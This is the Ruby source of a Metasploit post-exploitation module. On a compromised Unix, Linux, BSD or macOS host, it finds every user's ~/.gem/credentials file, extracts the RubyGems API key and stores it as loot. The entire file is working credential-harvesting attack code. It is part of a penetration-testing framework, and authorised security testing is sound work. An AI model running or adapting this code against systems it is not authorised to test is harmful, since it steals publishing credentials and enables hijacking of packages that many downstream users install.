metasploit-framework/modules/post/multi/gather/rubygems_api_key.rb

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
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class MetasploitModule < Msf::Post
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include Msf::Post::File
include Msf::Post::Unix
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def initialize(info = {})
super(update_info(info,
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'Name' => 'Multi Gather RubyGems API Key',
'Description' => %q{
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This module obtains a user's RubyGems API key from ~/.gem/credentials.
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},
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'Author' => [
'Jonathan Claudius <jclaudius[at]trustwave.com>',
'Brandon Myers <bmyers[at]trustwave.com>'
],
'Platform' => %w{bsd linux osx unix},
'SessionTypes' => %w{shell},
'License' => MSF_LICENSE
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))
end
def run
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print_status('Finding ~/.gem/credentials')
paths = enum_user_directories.map { |d| d + '/.gem/credentials' }
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paths = paths.select { |f| file?(f) }
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if paths.empty?
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print_error('No users found with a ~/.gem/credentials file')
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return
end
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download_key(paths)
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end
# Ruby gem credentials are pretty standard and can come
# in a few flavors, but the most common are straight yaml
# and json, both of which are colon delimited. I suppose
# you could concievably have more than one, but that'd be
# manually editing, and the first one is probably the best
# one anyway.
def extract_key(path)
data = read_file(path)
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keys = data.split(':').select { |k| k =~ /[0-9a-f]{32}/ }
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keys.map { |k| k.strip }.first
end
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def download_key(paths)
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print_status("Looting #{paths.count} files")
paths.each do |path|
path.chomp!
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next if ['.', '..'].include?(path)
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rubygems_api_key = extract_key(path)
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next unless rubygems_api_key
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print_good("Found a RubyGems API key: #{rubygems_api_key}")
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loot_path = store_loot(
'rubygems.apikey',
'text/plain',
session,
rubygems_api_key,
'rubygems_api_key.txt',
'RubyGems API key'
)
print_good("RubyGems API key stored in #{loot_path}")
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end
end
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end